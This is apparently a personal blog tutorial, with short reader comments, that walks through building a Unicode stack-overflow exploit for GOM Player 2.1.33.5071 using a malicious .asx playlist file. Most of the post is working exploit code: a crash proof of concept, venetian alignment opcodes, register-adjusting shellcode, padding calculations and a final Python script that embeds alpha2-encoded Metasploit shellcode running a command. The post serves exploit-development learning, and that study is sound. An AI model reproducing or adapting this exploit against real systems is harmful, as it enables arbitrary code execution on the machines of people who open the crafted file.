Landing in an unicode application


After several time reading an article about unicode in corelan.be, now let me try how to do that with my own knowledge. Here i'm using the application GOM Player 2.1.33.5071, as we knew if it already exploited several months ago and we will find the exploit of it here, so i'm using the proof of concept how to crashing the application to explain how to build an exploit in it (unicode application).

Here is the POC :
#!/usr/bin/python
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41" * 2046
footer = '"/></entry></asx>'

payload = junk

f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
The script above will generate a fuzzer.asx file which have junk 2046 byte at the url part. Running the GOM Player and open that file with GOM Player and then boom!!! Hem, there's something wrong.
Now let's see what's happened with debugger

As we can see that our fuzzer was overwrite some register's value like EBX and EBP, but what's happend with the EIP register? Why do it have value 011A8D73?
Ok, let's see the instruction at 011A8D73 memory address
As we're seeing that the opcode of 011A8D73 memory address is "0000" which have mean in assembly language is "add byte ptr ds:[eax], al", but ain't it which we needed, so look some instruction around the offset of it and we will look a good opcode like "004100" and "41", have you thought what i'm thinking? May be it's our fuzzer's data, because in unicode application if we send "\x41" data it will converted to the "0041" in the stack. So if the offset in EIP register now is 011A8D73, maybe EIP already execute the offset of our fuzzer before.
For ensure about that now we will send the fuzzer which have value "\xcc", as a opcode it have an assembly instruction like a "break point", so if our fuzzer have executed, then it will pause at the break point instruction ^_^
We must know the format of our fuzzer when it have position in the stack first.
As we can see that first byte of our fuzzer become an opcode "004100", so if we send the fuzzer 'junk = "\xcc"*2046' then the first byte will become an opcode "00cc00" and it not an opcode of the break point instruction anymore
In order to solved this problem, i remember some words in the corelan post about unicode :
In our case, we need to find instructions that will “eat away” the null bytes that were added and causing issues. We can solve this by using one of the following opcodes (depending on which register contains a writable address and can be used) :
00 6E 00:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh 
(62, 6d are 2 others that can be used – be creative & see what works for you)
So, if for example esi is writable (and you don’t mind that something is written to the location pointed to by that register), then you can use \x6e between two instructions, in order to align the null bytes.
And then the fuzzer will become  :
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41" #004100:add byte ptr [ecx],al (it's same as "\x6e" too)
junk+= "\xcc"
footer = '"/></entry></asx>'

payload = junk
sisa = "\x41" * (2046-len(payload))
payload+= sisa

f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
Let's see how a lucky we are
As we can see that the flow of application have break at the offset 011A7D7B where the offset before was the offset of the break point instruction ("\xcc"). It have mean that all of our fuzzer will execute by the application.

The conclusion is now we have a full control of this application's flow, now we will landing the shellcode, in order to create a shellcode in unicode application, we need an special encoder like as alpha2 encoder, but the encoder needs a register that points directly at itself. In this state we can't find a register that points directly to the current location ("011A7D7A"), so where we must landing our shellcode?
We need to modify one of the registers in order to make it points directly to the encoded shellcode. Here we will modify EAX registers.

Now we search the register which have points almost at the current location now, Let's dump the data of all registers and look at the EPB register's data
Look like a good points location. Now we need to put the value of ebp into eax, but even if we did it, the eax register still haven't points directly to the encoded shellcode. So we will add 100 byte to the eax register and then we can use some padding to put the shellcode exactly where it needs to be.
In order to do that we need the following code :
push ebp            # put ebp to the stack
pop eax             # get 4byte address from the stack to eax
                    # eax = ebp
add eax,0x11001200  # eax+11001200
sub eax,0x11001100  # eax-11001100
                    # eax+100
push eax            # put eax to the stack
ret                 # get 4byte address from the stack and execute 
------------------------------------------------------------------------
the opcode of the assembly instructions above are :
"\x55"  #push ebp
"\x58"  #pop eax
"\x05\x00\x12\x00\x11"   #add eax,0x11001200
"\x2d\x00\x11\x00\x11"   #sub eax,0x11001100
"\x50"  #push eax
"\xc3"  #ret
------------------------------------------------------------------------
convert into opcode which compatible in unicode (venetian code)
"\x55"  #push ebp
"\x6e"  #add [esi+0x0],ch
"\x58"  #pop eax
"\x6e"  #add [esi+0x0],ch
"\x05\x12\x11"   #add eax,0x11001200
"\x6e"  #add [esi+0x0],ch
"\x2d\x11\x11"   #sub eax,0x11001100
"\x6e"  #add [esi+0x0],ch
"\x50"  #push eax
"\x6e"  #add [esi+0x0],ch
"\xc3"  #ret
"\x6e"  #add [esi+0x0],ch
Now search the byte of padding which allowing the EAX register points directly to the encode shellcode, the provisional fuzzer is :
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"

padding  = "\x42"*100    #supposition provisional
padding += "\x43"*100
padding += "\x44"*100

payload = junk+venetian+padding
sisa = "\x47" * (2046-len(payload))
payload+= sisa

f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
Look what's happening with debugger
It's look like that our fuzzer have position on EAX register, but we still haven't find the direct position of it, now let's dump the data of eax register
Our fuzzer have point directly to the eax in offset 011A8EC4, meanwhile the first of the data "\x43" from our fuzzer was beginning from offset 011A8EB4, may be we must add 10 byte in the "\x42" data in our fuzzer
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"

padding  = "\x42"*110    #supposition provisional
padding += "\x43"*100
padding += "\x44"*100

payload = junk+venetian+padding
sisa = "\x47" * (2046-len(payload))
payload+= sisa

f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
Look again what's happening with debugger
Hem, maybe we excess 2 byte from our fuzzer, now let's change a bit of the fuzzer
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"

padding  = "\x42"*108   
evilcode = "DEADBEEF"

payload = junk+venetian+padding+evilcode
sisa = "\x47" * (2046-len(payload))
payload+= sisa

f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
And the result is
It's look better than before ;)
Now we have the direct access to the eax register, and then we will generate the encoded shellcode using alpha2 encoder.
Ok, now let's combine that all and see what's happenning?
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
# msfpayload windows/exec cmd=calc R | ./alpha2 eax --unicode --uppercase
padding  = "\x42"*108   
evilcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABAR"
"ALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58A"
"APAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB3"
"0APB944JBKLYXSYKPKPM0S0SYK5NQZ21T4KQB00TKQBL"
"L4KQBLTDKSBO8LOGGPJNFNQKONQY0VLOL1Q3LKRNLMPW"
"Q8OLMKQXGJBZP0RR7TKR2N0TKOROLKQXPDKOP2X557PC"
"DPJM18PPPTKOXLXDK28MPKQXSK3OLOY4KNT4KKQHVP1K"
"OP1WPVLY1XOLMM1I7NX9PSEKDKS3MZXOK3MND2UK2R8D"
"KPXMTKQXS2FDKLL0KTKPXMLKQ9CTKKTTKKQXP4IOTO4N"
"DQK1KQQ1IQJPQKOK0281O0ZTKMBZK56QMQZM1TMU5X9K"
"PKPKPPPRHP1DK2OCWKOIEWKL06U5RR6S8W6TUWMEMKO8"
"UOLKVCLLJSPKKK0D5LEWK17LSSBROQZM0QCKOIES3QQR"
"L33M0A")
footer = '"/></entry></asx>'

payload = junk+venetian+padding+evilcode
sisa = "\x47" * (2046-len(payload))
payload+= sisa

f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
And the result is ^_^

5 comments:

Onyiing said...

wow...

KUMΞL said...

why? is there something wrong in my post?
please correct it, because i'm still learn about it.

Onyiing said...

no! it's very cool..
very good article, may u teach me?? :D

KUMΞL said...

Please visit https://www.corelan.be/index.php/articles/
maybe it's can help you more about exploit development

tomgre said...

nice post mel ;)
try beat CyberLink Power2Go 7, it's a challenge :D

Post a Comment